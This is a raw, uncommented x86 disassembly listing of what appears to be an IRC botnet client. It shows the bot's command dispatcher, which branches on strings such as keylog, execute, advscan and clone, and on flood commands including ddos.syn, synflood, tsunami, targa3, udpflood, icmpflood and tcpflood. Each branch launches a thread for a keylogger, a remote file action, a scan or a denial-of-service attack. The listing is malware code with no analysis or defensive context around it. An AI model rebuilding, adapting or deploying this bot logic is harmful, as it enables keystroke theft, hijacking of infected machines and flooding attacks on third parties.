		push	offset unk_42B150
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412660
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_405D82

loc_405D6C:				; CODE XREF: sub_401ACD+42B3j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_405D6C
; ---------------------------------------------------------------------------

loc_405D82:				; CODE XREF: sub_401ACD+429Dj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42B114
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405D93:				; CODE XREF: sub_401ACD+41D4j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	21h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC3
		push	eax
		push	offset unk_42B0D4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405DC3:				; CODE XREF: sub_401ACD+42E9j
		push	offset unk_42B0A4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405DCD:				; CODE XREF: sub_401ACD+41BDj
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA2
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E68
		push	2
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405E0B
		push	offset dword_42B07C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405E0B:				; CODE XREF: sub_401ACD+4332j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B050
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4101FC
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[esi], eax
		jnz	loc_40828B
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset dword_42B01C
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E68:				; CODE XREF: sub_401ACD+4326j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	2
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E98
		push	eax
		push	offset dword_42AFE4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405E98:				; CODE XREF: sub_401ACD+43BEj
		push	offset dword_42AFC4
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405EA2:				; CODE XREF: sub_401ACD+430Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40601F
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F18
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	23h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0E
		push	eax
		push	offset dword_42AF78
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_405F0E:				; CODE XREF: sub_401ACD+4434j
		push	offset dword_42AF4C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F18:				; CODE XREF: sub_401ACD+4400j
					; sub_401ACD+440Fj
		push	23h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405F2E
		push	offset dword_42AF2C
		jmp	loc_406F04
; ---------------------------------------------------------------------------

loc_405F2E:				; CODE XREF: sub_401ACD+4455j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_10]
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi
		mov	[ebp+var_BD4], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5B
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F64
; ---------------------------------------------------------------------------

loc_405F5B:				; CODE XREF: sub_401ACD+4480j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_405F64:				; CODE XREF: sub_401ACD+448Cj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_405F8B
		mov	esi, offset aF_0 ; "#f"
		push	offset dword_43D158
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8B
		mov	esi, [ebp+var_88]

loc_405F8B:				; CODE XREF: sub_401ACD+44A0j
					; sub_401ACD+44B6j
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42AF08
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	23h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset dword_411CF4
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40600E

loc_405FF8:				; CODE XREF: sub_401ACD+453Fj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828B
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_405FF8
; ---------------------------------------------------------------------------

loc_40600E:				; CODE XREF: sub_401ACD+4529j
		call	near ptr 2670E9Dh
		nop
		push	eax
		push	offset dword_42AECC
		jmp	loc_4049EB
; ---------------------------------------------------------------------------

loc_40601F:				; CODE XREF: sub_401ACD+43E4j
		push	edi
		push	offset aNet	; "net"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40626F
		cmp	dword_4CB074, ebx
		jz	short loc_40604E
		cmp	dword_4CB09C, ebx
		jz	short loc_40604E
		push	offset unk_42AE90
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40604E:				; CODE XREF: sub_401ACD+456Dj
					; sub_401ACD+4575j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDE
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_406073
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_406073:				; CODE XREF: sub_401ACD+4596j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C0
		cmp	edi, ebx
		jz	short loc_406094
		push	[ebp+arg_0]
		push	3
		jmp	loc_406126
; ---------------------------------------------------------------------------

loc_406094:				; CODE XREF: sub_401ACD+45BBj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41895B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B6
		push	offset unk_42AE64
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060B6:				; CODE XREF: sub_401ACD+45DDj
		push	offset unk_42AE44
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_4060C0:				; CODE XREF: sub_401ACD+45B7j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DA
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060DA:				; CODE XREF: sub_401ACD+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F4
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_4060F4:				; CODE XREF: sub_401ACD+461Ej
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610E
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406126
; ---------------------------------------------------------------------------

loc_40610E:				; CODE XREF: sub_401ACD+4638j
		push	[ebp+arg_10]
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406138
		push	[ebp+arg_0]
		push	1

loc_406126:				; CODE XREF: sub_401ACD+45C2j
					; sub_401ACD+460Bj ...
		call	sub_4186C1
		pop	ecx
		pop	ecx

loc_40612D:				; CODE XREF: sub_401ACD+46A1j
					; sub_401ACD+4729j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406CCF
; ---------------------------------------------------------------------------

loc_406138:				; CODE XREF: sub_401ACD+4652j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615D
		push	ebx
		push	edi
		push	1
		jmp	short loc_406166
; ---------------------------------------------------------------------------

loc_40615D:				; CODE XREF: sub_401ACD+4688j
		push	[ebp+esi+var_84]
		push	edi
		push	ebx

loc_406166:				; CODE XREF: sub_401ACD+468Ej
		call	sub_418A98
		add	esp, 0Ch
		jmp	short loc_40612D
; ---------------------------------------------------------------------------

loc_406170:				; CODE XREF: sub_401ACD+4680j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418C8E
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_42ADFC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406193:				; CODE XREF: sub_401ACD+46BAj
		push	offset unk_42ADDC
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40619D:				; CODE XREF: sub_401ACD+467Cj
		push	[ebp+arg_10]
		push	offset aUser	; "user"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406228
		cmp	edi, ebx
		jz	short loc_4061FB
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CE
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061CE:				; CODE XREF: sub_401ACD+46EDj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4061EA
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------

loc_4061EA:				; CODE XREF: sub_401ACD+4716j
		push	ebx
		push	edi
		push	2

loc_4061EE:				; CODE XREF: sub_401ACD+46FFj
					; sub_401ACD+471Bj
		call	sub_418DAF
		add	esp, 18h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_4061FB:				; CODE XREF: sub_401ACD+46E5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4192DF
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621E
		push	offset unk_42ADB4
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40621E:				; CODE XREF: sub_401ACD+4745j
		push	offset unk_42AD94
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406228:				; CODE XREF: sub_401ACD+46E1j
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406265
		cmp	edi, ebx
		jz	short loc_40625B
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419593
		add	esp, 10h
		jmp	loc_40612D
; ---------------------------------------------------------------------------

loc_40625B:				; CODE XREF: sub_401ACD+4770j
		push	offset unk_42AD68
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_406265:				; CODE XREF: sub_401ACD+476Cj
		push	offset unk_42AD4C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------

loc_40626F:				; CODE XREF: sub_401ACD+4561j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFD
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D09

loc_4062C3:				; CODE XREF: sub_401ACD+3CBDj
					; sub_401ACD+3CECj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CEF
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAC
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset dword_42B530
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C57
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEA
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B86
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4A
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADB
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A55
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E5
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089BF
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895B
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408886
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408687
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E8
		push	[ebp+arg_8]
		push	offset aJpDe100	; "jp]de100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aJp10	; "jp]10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408457
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C4
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B5
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823E
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408141
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408059
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F60
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D6
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F6
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset word_4146CE
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4067C5

loc_4067AF:				; CODE XREF: sub_401ACD+4CF6j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA0
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_4067AF
; ---------------------------------------------------------------------------

loc_4067C5:				; CODE XREF: sub_401ACD+4CE0j
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset unk_42ABBC
		jmp	loc_403D91
; ---------------------------------------------------------------------------

loc_4067D6:				; CODE XREF: sub_401ACD+4C36j
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E78
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406903
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3624]
		push	edi
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_35A4]
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		push	esi
		lea	eax, [ebp+var_3524]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+var_2C4]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+arg_10]
		push	offset dword_42AB74
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset word_413626
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4068F2

loc_4068DC:				; CODE XREF: sub_401ACD+4E23j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407278
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_4068DC
; ---------------------------------------------------------------------------

loc_4068F2:				; CODE XREF: sub_401ACD+4E0Dj
		nop
		call	near ptr 2670E9Dh
		push	eax
		push	offset dword_42AB38
		jmp	loc_407269
; ---------------------------------------------------------------------------

loc_406903:				; CODE XREF: sub_401ACD+4D48j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D90
		push	[ebp+arg_8]
		push	offset aJpldg10	; "jpldg10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aJpl10	; "jpl10"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C52
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B55
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A62
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795D
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407865
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40775F
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407298
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40714F
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407041
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F17
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D16
		push	[ebp+arg_10]
		lea	eax, [ebp+var_47EC]
		push	eax
		call	sub_41BEB0
		push	edi
		call	sub_41B779
		push	[ebp+arg_0]
		mov	[ebp+arg_10], eax
		lea	eax, [ebp+var_4188]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_18]
